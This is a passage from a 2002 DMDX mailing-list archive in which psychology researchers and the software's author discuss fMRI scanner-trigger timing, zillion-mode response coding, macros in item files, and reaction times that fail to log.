will be messed up again because of the translation to video output. Might be the case for some of the users that have been having trouble lately. Lee Ryan Lee Ryan, Ph.D. UofA Cognition & Neuroimaging Laboratories Department of Psychology University of Arizona P.O. Box 210068 Tucson, AZ 85721-0068 tel: (520) 621-7443 fax: (520) 621-9306 ryant@u.arizona.edu http://www.w3.arizona.edu/~cnl >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 5 10:15:06 2002 Received: from voltaire.timone.univ-mrs.fr (voltaire.timone.univ-mrs.fr [194.254.146.251]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA30659 for ; Tue, 5 Mar 2002 10:12:20 -0700 Received: from lnf.cnrs-mrs.fr (saturne.timone.univ-mrs.fr [194.254.148.119]) by voltaire.timone.univ-mrs.fr (8.9.3/8.9.3) with ESMTP id SAA15091 for ; Tue, 5 Mar 2002 18:29:51 +0100 Message-ID: <3C84FD99.9060309@lnf.cnrs-mrs.fr> Date: Tue, 05 Mar 2002 18:17:13 +0100 From: Bruno MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] (Aucun objet)video timing problem Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, I finally managed to get a stable COT when playing digital video files by adding a in the beginning of each item line. Where 75 is the frame number corresponding to the last frame of the movie to be played. Thanks for the helpful advices. Bruno. >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 5 16:24:39 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA31505 for ; Tue, 5 Mar 2002 16:24:06 -0700 Received: from u.arizona.edu (128.196.98.189) by phobos.email.Arizona.EDU (6.0.040) (authenticated as smhayes@email.arizona.edu) id 3C7DEC070009EDE3 for DMDX@psy1.psych.arizona.edu; Tue, 5 Mar 2002 16:24:06 -0700 Message-ID: <3C855404.33663358@u.arizona.edu> Date: Tue, 05 Mar 2002 16:25:56 -0700 From: Scott Hayes MIME-Version: 1.0 To: ""DMDX@psy1.psych.arizona.edu"" Subject: [DMDX] scanner trigger and timing Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathon, Sorry to bother you about timing issues, but I want to make sure that I correctly understand the timing of my DMDX script and the scanner trigger that you designed for our lab. Below is the parameter line and a couple lines of my script, along w/ a couple lines of the output file. The delay of 90 tics =1.5 seconds. I'm guessing that the scanner is triggered after the /, and thus the second ""READY"" and the start of the scanner are occurring simultaneously. That second ""READY"" remains on the screen for 12.5 seconds, then the delay of 1.5 seconds, and then the cue ""WHICH OBJECT DID YOU SEE?"" is on the screen for 2 seconds, then a delay of 1.5 seconds, and then my jpges appear and I get my first COT (COT=0), which is really 17.5 seconds after the scanner started. Is this correct? Thanks, Scott 0 ""READY""; 100 c; 101 %1 / /�READY�/; +2001""WHICH OBJECT"",""DID YOU SEE?""/* ""Fcontainer"", ""rbird""; -2002""WHICH OBJECT"",""DID YOU SEE?""/* ""rwood"", ""Fbowl2""; Subject 5, 2/20/02 11:55:43 on Hercules, refresh 16.68ms, ID A1507 Item RT COT 2001 722.07 0 2002 -1701.27 4238.01 >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 5 18:27:23 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA31806 for ; Tue, 5 Mar 2002 18:27:02 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (6.0.040) id 3C83F16B0002A62E for DMDX@psy1.psych.arizona.edu; Tue, 5 Mar 2002 18:27:02 -0700 Message-Id: <5.1.0.14.2.20020305180748.00b457b8@psy1.psych.arizona.edu> Date: Tue, 05 Mar 2002 18:27:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: scanner trigger and timing In-Reply-To: <3C855404.33663358@u.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:25 PM 3/5/2002 -0700, you wrote: >Hi Jonathon, >Sorry to bother you about timing issues, but I want to make sure that I >correctly understand the timing of my DMDX script and the scanner >trigger that you designed for our lab. Below is the parameter line and >a couple lines of my script, along w/ a couple lines of the output >file. The delay of 90 tics =1.5 seconds. I'm guessing that the scanner >is triggered after the /, and thus the second ""READY"" and the >start of the scanner are occurring simultaneously. That second ""READY"" >remains on the screen for 12.5 seconds, then the delay of 1.5 seconds, >and then the cue ""WHICH OBJECT DID YOU SEE?"" is on the screen for 2 >seconds, then a delay of 1.5 seconds, and then my jpges appear and I get >my first COT (COT=0), which is really 17.5 seconds after the scanner >started. Is this correct? Only roughly. There are many stray frames in there and you never specify the default duration of a frame, no F or parameter (only use one, they're synonyms). >Thanks, >Scott > > +bit5>+space> > >0 ""READY""; >100 c; >101 %1 / So the duration of the frame is likely to be zero ticks but might just as well be something else, I've never tested an item file without a default frame duration. >/""READY""/; Besides the fact that is only a rough descriptor of the frame's duration the /; takes another tick too. The ms% is rough in that it specifies ""display the frame for as many ticks as needed to make sure the frame is up for at least 12.5 seconds"" -- given the nature of floating point arithmetic this frame is almost guaranteed to be displayed for another frame. >+2001""WHICH OBJECT"",""DID YOU SEE?"" Probably another tick in here too. >/* >""Fcontainer"", ""rbird""; >-2002""WHICH OBJECT"",""DID YOU SEE?""/* >""rwood"", ""Fbowl2""; > > >Subject 5, 2/20/02 11:55:43 on Hercules, refresh 16.68ms, ID A1507 > Item RT COT > 2001 722.07 0 > 2002 -1701.27 4238.01 My guess would be that the initial COT is 17.566 seconds after the scanner triggered. I take it from your item file design you don't want a constant ISI? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is against the grain of modern education to teach children to program. What fun is there in making plans, acquiring discipline in organizing thoughts, devoting attention to detail, and learning to be self-critical? - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 6 02:46:09 2002 Received: from dirf.bris.ac.uk (dirf.bris.ac.uk [137.222.10.72]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA00148 for ; Wed, 6 Mar 2002 02:45:44 -0700 Received: from eis.bris.ac.uk by dirf.bris.ac.uk with SMTP-PRIV with ESMTP; Wed, 6 Mar 2002 09:41:18 +0000 Received: from psy074.psy.bris.ac.uk (psy074.psy.bris.ac.uk [137.222.60.74]) by eis.bris.ac.uk (8.11.6/8.11.6) with ESMTP id g269eiC04684 for ; Wed, 6 Mar 2002 09:40:44 GMT From: ""EL Turner, Experimental Psychology"" Date: Wed, 6 Mar 2002 09:44:27 +0000 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Zillion responses on half the trials In-Reply-To: <3C855404.33663358@u.arizona.edu> References: <3C855404.33663358@u.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: Text/Plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I wonder whether anyone can give me some advice. I am currently running an experiment where on half of the trials the response is a free report, they just type in whatever word they think they saw. Then every other trial is a forced choice between 2 items. The items are paired so they always appear together but in a random order. I am trying to get the response on the forced choice to be coded as correct or incorrect so I only have to manually code half the items in the data file as correct or incorrect. The zillion response works fine but I cannot figure out how to have standard responses with the shift keys on the forced choice trials. I have included a small sample from my current data file. Thanks for any suggestion offered. Emma -------------------------------------- n84 s84 f50 g2 d10 f150 $ 0 g ""instructions.bmp"";$ +001 %100 ""+""/%3""#####""/ %2""acres""/%3""#####""/* ""?""; +002 * %0 ""acres""/!y250 ""cares""; +003 %100 ""+""/%3""#####""/ %2""papal""/%3""#####""/* ""?""; +004 * %0 ""papal""/!y250 ""appal""; +005 %100 ""+""/%3""#####""/ %2""raise""/%3""#####""/* ""?""; +006 * %0 ""arise""/!y250 ""raise""; ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 954 6847 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 6 03:11:04 2002 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA00254 for ; Wed, 6 Mar 2002 03:10:55 -0700 Received: from pc111.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 6 Mar 2002 10:10:52 GMT Message-Id: <5.1.0.14.2.20020306100112.0414bc98@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 06 Mar 2002 10:10:22 +0000 To: DMDX@psy1.psych.arizona.edu From: Matt Davis Subject: [DMDX] Re: Zillion responses on half the trials In-Reply-To: References: <3C855404.33663358@u.arizona.edu> <3C855404.33663358@u.arizona.edu> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_176174195==_.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_176174195==_.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Hi Emma, I've come across a similar problem, and ended up having to bite the bullet and do the 'correct/incorrect' coding off-line. However, I now think it may be possible to get round this with some mode-switching in the two trials. Try adding a switch for () into the typed response items and () into the 2-afc items. For the lines that use you may also need to specify correct and incorrect response (using and - see the help page). I'm interested to hear if this works - let me know how you get on. Cheers, Matt At 09:44 06/03/2002 +0000, you wrote: >Hi, > >I wonder whether anyone can give me some advice. I am currently running >an experiment where on half of the trials the response is a free >report, they just type in whatever word they think they saw. Then >every other trial is a forced choice between 2 items. The items are >paired so they always appear together but in a random order. > >I am trying to get the response on the forced choice to be coded as >correct or incorrect so I only have to manually code half the items in >the data file as correct or incorrect. The zillion response works fine >but I cannot figure out how to have standard responses with the shift >keys on the forced choice trials. > >I have included a small sample from my current data file. > >Thanks for any suggestion offered. > >Emma >-------------------------------------- >n84 s84 f50 g2 d10 f150 > >$ 0 g ""instructions.bmp"";$ > >+001 %100 ""+""/%3""#####""/ %2""acres""/%3""#####""/* ""?""; >+002 * %0 ""acres""/!y250 ""cares""; >+003 %100 ""+""/%3""#####""/ %2""papal""/%3""#####""/* ""?""; >+004 * %0 ""papal""/!y250 ""appal""; >+005 %100 ""+""/%3""#####""/ %2""raise""/%3""#####""/* ""?""; >+006 * %0 ""arise""/!y250 ""raise""; > > >---------------------- >EL Turner, Experimental Psychology >University of Bristol >8 Woodland Road >BRISTOL BS8 1TN >Tel:(0117) 954 6847 >Fax: 0117 928 8588 >Emma.Turner@bristol.ac.uk > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** --=====================_176174195==_.ALT Content-Type: text/html; charset=""us-ascii"" Hi Emma, I've come across a similar problem, and ended up having to bite the bullet and do the 'correct/incorrect' coding off-line. However, I now think it may be possible to get round this with some mode-switching in the two trials. Try adding a switch for () into the typed response items and () into the 2-afc items. For the lines that use you may also need to specify correct and incorrect response (using and - see the help page). I'm interested to hear if this works - let me know how you get on. Cheers, Matt At 09:44 06/03/2002 +0000, you wrote: Hi, I wonder whether anyone can give me some advice.  I am currently running an experiment where on half of the trials the response is a free report, they just type in whatever word they think they saw.  Then every other trial is a forced choice between 2 items.  The items are paired so they always appear together but in a random order. I am trying to get the response on the forced choice to be coded as correct or incorrect so I only have to manually code half the items in the data file as correct or incorrect.  The zillion response works fine but I cannot figure out how to have standard responses with the shift keys on the forced choice trials. I have included a small sample from my current data file. Thanks for any suggestion offered. Emma -------------------------------------- n84 s84  f50 g2 d10 f150 $ 0 g ""instructions.bmp"";$ +001 %100 ""+""/%3""#####""/ %2""acres""/%3""#####""/* ""?""; +002 * %0 ""acres""/!y250 ""cares""; +003 %100 ""+""/%3""#####""/ %2""papal""/%3""#####""/* ""?""; +004 * %0 ""papal""/!y250 ""appal""; +005 %100 ""+""/%3""#####""/ %2""raise""/%3""#####""/* ""?""; +006 * %0 ""arise""/!y250 ""raise""; ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 954 6847 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk ====================================================================    Send mail to DMDX-request@psy1.psych.arizona.edu with the word   'unsubscribe' by itself with no quotes in the body of the email   to be removed from the list.  The list archive is available here:           http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ****************************************************  Matt Davis  MRC Cognition and Brain Sciences Unit  15 Chaucer Road, Cambridge, CB2 2EF  email: matt.davis@mrc-cbu.cam.ac.uk    tel: 01223 355 294 (#266)    Fax: 01223 359 062 **************************************************** --=====================_176174195==_.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 6 09:23:38 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA01094 for ; Wed, 6 Mar 2002 09:22:59 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (6.0.040) id 3C83F16B0003ACC2 for DMDX@psy1.psych.arizona.edu; Wed, 6 Mar 2002 09:22:58 -0700 Message-Id: <5.1.0.14.2.20020306090441.00b45b00@psy1.psych.arizona.edu> Date: Wed, 06 Mar 2002 09:22:58 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Zillion responses on half the trials In-Reply-To: <5.1.0.14.2.20020306100112.0414bc98@pophost.mrc-cbu.cam.ac. uk> References: <3C855404.33663358@u.arizona.edu> <3C855404.33663358@u.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Yeah, you'll have to be swapping modes all the time, but hey, item files aren't limited any more and if you really don't like the extra bulk you could use macros. Any way, while is not something that can be turned off and can be turned off. You're also going to want to validate () and invalidate () zillion keys too, that's really going to bulk things out. So items that want one of two shift keys will have to have something like the following in them: Free association items will need: and so on though the alphabet... If the DMDX doesn't wind up wiping out the default positive and negative key mappings you probably don't need to be using , or at worst my guess is that they only need to be included once at the beginning. Using macros you could have this once at the beginning ma# # mb# etc # And then the two item types could collapse to the following: +001 ~b %100 ""+""/%3""#####""/ %2""acres""/%3""#####""/* ""?""; +002 ~a * %0 ""acres""/!y250 ""cares""; At 10:10 AM 3/6/2002 +0000, you wrote: >Hi Emma, > >I've come across a similar problem, and ended up having to bite the bullet >and do the 'correct/incorrect' coding off-line. However, I now think it >may be possible to get round this with some mode-switching in the two trials. > >Try adding a switch for () into the typed >response items and () into the 2-afc items. For >the lines that use you may also need to specify correct and >incorrect response (using and >- see the help page). > >I'm interested to hear if this works - let me know how you get on. > >Cheers, > >Matt > >At 09:44 06/03/2002 +0000, you wrote: >>Hi, >> >>I wonder whether anyone can give me some advice. I am currently running >>an experiment where on half of the trials the response is a free >>report, they just type in whatever word they think they saw. Then >>every other trial is a forced choice between 2 items. The items are >>paired so they always appear together but in a random order. >> >>I am trying to get the response on the forced choice to be coded as >>correct or incorrect so I only have to manually code half the items in >>the data file as correct or incorrect. The zillion response works fine >>but I cannot figure out how to have standard responses with the shift >>keys on the forced choice trials. >> >>I have included a small sample from my current data file. >> >>Thanks for any suggestion offered. >> >>Emma >>-------------------------------------- >>n84 s84 f50 g2 d10 f150 >> >>$ 0 g ""instructions.bmp"";$ >> >>+001 %100 ""+""/%3""#####""/ %2""acres""/%3""#####""/* ""?""; >>+002 * %0 ""acres""/!y250 ""cares""; >>+003 %100 ""+""/%3""#####""/ %2""papal""/%3""#####""/* ""?""; >>+004 * %0 ""papal""/!y250 ""appal""; >>+005 %100 ""+""/%3""#####""/ %2""raise""/%3""#####""/* ""?""; >>+006 * %0 ""arise""/!y250 ""raise""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is against the grain of modern education to teach children to program. What fun is there in making plans, acquiring discipline in organizing thoughts, devoting attention to detail, and learning to be self-critical? - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 6 12:11:00 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA01520 for ; Wed, 6 Mar 2002 12:10:17 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3C864580000CBA81 for DMDX@psy1.psych.arizona.edu; Wed, 6 Mar 2002 10:43:38 -0700 Message-Id: <5.1.0.14.2.20020306103956.00b33370@psy1.psych.arizona.edu> Date: Wed, 06 Mar 2002 10:42:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] correction Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Actually, having just taken a peek at the code you won't need to validate the alphameric keys every time after , any use of validates those keys. You will have to repeatedly validate the shift keys however. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ My dear boy, forget about the motivation. Just say the lines and don't trip over the furniture. - Noel Coward, to an actor in his Nude with a Violin on Broadway, 1957 (Attrib.) >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 6 12:11:00 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA01516 for ; Wed, 6 Mar 2002 12:10:16 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3C864580000CBA4B for DMDX@psy1.psych.arizona.edu; Wed, 6 Mar 2002 10:43:01 -0700 Message-Id: <5.1.0.14.2.20020306103956.00b33370@psy1.psych.arizona.edu> Date: Wed, 06 Mar 2002 10:42:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] correction Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Actually, having just taken a peek at the code you won't need to validate the alphameric keys every time after , any use of validates those keys. You will have to repeatedly validate the shift keys however. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ My dear boy, forget about the motivation. Just say the lines and don't trip over the furniture. - Noel Coward, to an actor in his Nude with a Violin on Broadway, 1957 (Attrib.) >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 6 12:11:00 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA01513 for ; Wed, 6 Mar 2002 12:10:15 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3C8656120000EE06 for DMDX@psy1.psych.arizona.edu; Wed, 6 Mar 2002 10:53:10 -0700 Message-Id: <5.1.0.14.2.20020306103956.00b33370@psy1.psych.arizona.edu> Date: Wed, 06 Mar 2002 10:42:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] correction Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Actually, having just taken a peek at the code you won't need to validate the alphameric keys every time after , any use of validates those keys. You will have to repeatedly validate the shift keys however. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ My dear boy, forget about the motivation. Just say the lines and don't trip over the furniture. - Noel Coward, to an actor in his Nude with a Violin on Broadway, 1957 (Attrib.) >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 6 16:15:45 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA02238 for ; Wed, 6 Mar 2002 16:15:27 -0700 Received: from u.arizona.edu (128.196.98.189) by phobos.email.Arizona.EDU (6.0.040) (authenticated as smhayes@email.arizona.edu) id 3C86561200054F12 for DMDX@psy1.psych.arizona.edu; Wed, 6 Mar 2002 12:07:17 -0700 Message-ID: <3C866956.AE083AA@u.arizona.edu> Date: Wed, 06 Mar 2002 12:09:10 -0700 From: Scott Hayes MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: scanner trigger and timing References: <5.1.0.14.2.20020305180748.00b457b8@psy1.psych.arizona.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > My guess would be that the initial COT is 17.566 seconds after the > scanner triggered. > > I take it from your item file design you don't want a constant ISI? Thanks Jonathon. In case you were wondering, this particular study is an ""event-related design"", as opposed to the block design in which a constant ISI is imperative. With event related studies, it's actually preferred that the stimulus onset times be ""jittered"" to reduce unwanted task related correlations that can occur w/ a constant ISI (e.g., heart rate). With this design, the critical piece of information is knowing exactly when the stimuli appeared so you can look at the hemodynamic response in the brain at that point in time. >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 13 07:58:23 2002 Received: from dirf.bris.ac.uk (dirf.bris.ac.uk [137.222.10.72]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA23691 for ; Wed, 13 Mar 2002 07:57:01 -0700 Received: from eis.bris.ac.uk by dirf.bris.ac.uk with SMTP-PRIV with ESMTP; Wed, 13 Mar 2002 14:56:49 +0000 Received: from psy074.psy.bris.ac.uk (psy074.psy.bris.ac.uk [137.222.60.74]) by eis.bris.ac.uk (8.11.6/8.11.6) with ESMTP id g2DEtfA12247 for ; Wed, 13 Mar 2002 14:55:41 GMT From: ""EL Turner, Experimental Psychology"" Date: Wed, 13 Mar 2002 14:56:45 +0000 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: correction In-Reply-To: <5.1.0.14.2.20020306103956.00b33370@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020306103956.00b33370@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: Text/Plain; CHARSET=""ISO-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks for the macro suggestion, I am having a few problems getting it to work. Do I include it in the first line? When I do this and try to run it I get an error message that it doesn't recognise the character ~ and that there is a missing clock on item.... Any ideas? Thanks Emma n84 s84 f50 g2 d10 f150 ma # # mb # # $ 0 key in the word you saw then press enter;$ +250 ~b %100 +/%3#####/ %2""skill""/%3#####/* ?; +250 ~a * %0 ""skill""/!y250 ""skull""; +250 ~b %100 +/%3#####/ %2""moral""/%3#####/* ?; +250 ~a * %0 ""coral""/!y250 ""moral""; On Wed, 06 Mar 2002 10:42:51 -0700 ""Jonathan C. Forster"" wrote: > > Actually, having just taken a peek at the code you won't need to > validate the alphameric keys every time after , any use of > validates those keys. You will have to repeatedly validate the shift keys > however. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > My dear boy, forget about the motivation. Just say the lines > and don't trip over the furniture. > - Noel Coward, > to an actor in his Nude with a Violin on Broadway, > 1957 (Attrib.) > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 954 6847 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 13 09:02:06 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA23927 for ; Wed, 13 Mar 2002 09:01:36 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by phobos.email.Arizona.EDU (6.0.040) id 3C8EB65A0000CB85 for DMDX@psy1.psych.arizona.edu; Wed, 13 Mar 2002 09:01:36 -0700 Message-Id: <5.1.0.14.2.20020313090053.00b5eea8@psy1.psych.arizona.edu> Date: Wed, 13 Mar 2002 09:01:35 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: correction In-Reply-To: References: <5.1.0.14.2.20020306103956.00b33370@psy1.psych.arizona.edu> <5.1.0.14.2.20020306103956.00b33370@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:56 PM 3/13/2002 +0000, you wrote: >Thanks for the macro suggestion, I am having a few problems getting it >to work. Do I include it in the first line? >When I do this and try to run it I get an error message that it doesn't >recognise the character ~ and that there is a missing clock on item.... It's not a parameter, it must occur in the body of the item file, ie, in an item. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. - John Kenneth Galbraith >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 13 11:30:58 2002 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA24271 for ; Wed, 13 Mar 2002 11:30:36 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id NAA02055 for ; Wed, 13 Mar 2002 13:30:35 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.11.2/8.10.1/ND-cluster) with ESMTP id g2DIUZ005534 for ; Wed, 13 Mar 2002 13:30:35 -0500 (EST) Date: Wed, 13 Mar 2002 13:30:35 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] failing to log RTs In-Reply-To: <5.1.0.14.2.20020313090053.00b5eea8@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm running a recognition memory task: subjects are presented with a list of items, in the form of a picture with a set of associated labels, there is an interpolated task (simple math verification problems), a set of recall cues are presented, then the set of recognition test items are shown. Everything seems to be working fine, with the exception that the AZK file is not logging RTs. Responses are logged as either -1 or 1. A set of lines from the script are below. Items coded as 99 are study items (not requiring a response), items coded as 99 are math verification problems, and items coded as 97 are cues provided in advance of the recognition test. ---- N72 f255 0 ""... ready to present the items to be studied ...""; +98 ""images/scene5"", ""FEPOW"" / ""images/scene5"", ""PAN"" / ""images/scene5"", ""SKILLET"" / ""images/scene5"", ""SORB"" / ""images/scene5"", ""PLATE"" / ""images/scene5"", ""MIXER"" / ""images/scene5"", ""SLUGLUC"" / ""images/scene5"", ""POT"" / ""images/scene5"", ""CAX"" / ""images/scene5"", ""JEP"" / ""images/scene5"", ""KWAKI"" / ""images/scene5"", ""BOWL"" / * ; 0 ""... ready to begin the math problems ...""; +99 ""-+-"" / ""71 + 4 = 75 "" / * ""??"" /; -99 ""-+-"" / ""194 - 7 = 190 "" / * ""??"" /; 0 ""Recall condition 112""; +97 ""images/scene512"" / ""images/scene412"" / ""images/scene212"" / * /; -5100 ""-+-"" / * ""images/s5i11t0"" /; -2110 ""-+-"" / * ""images/s2i12t0"" /; 0 ""Thank you!""; --- Here are a set of example lines from the resulting AZK file: ---- Item RT 98 -100 99 1 99 1 97 -100 97 -100 97 -100 5100 1 2110 1 --- Any clues as to what might be happening would be much appreciated. -Michael ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (574) 631-9429 Dept. fax: (574) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Wed Mar 13 12:05:01 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA24401 for ; Wed, 13 Mar 2002 12:04:53 -0700 Received: from 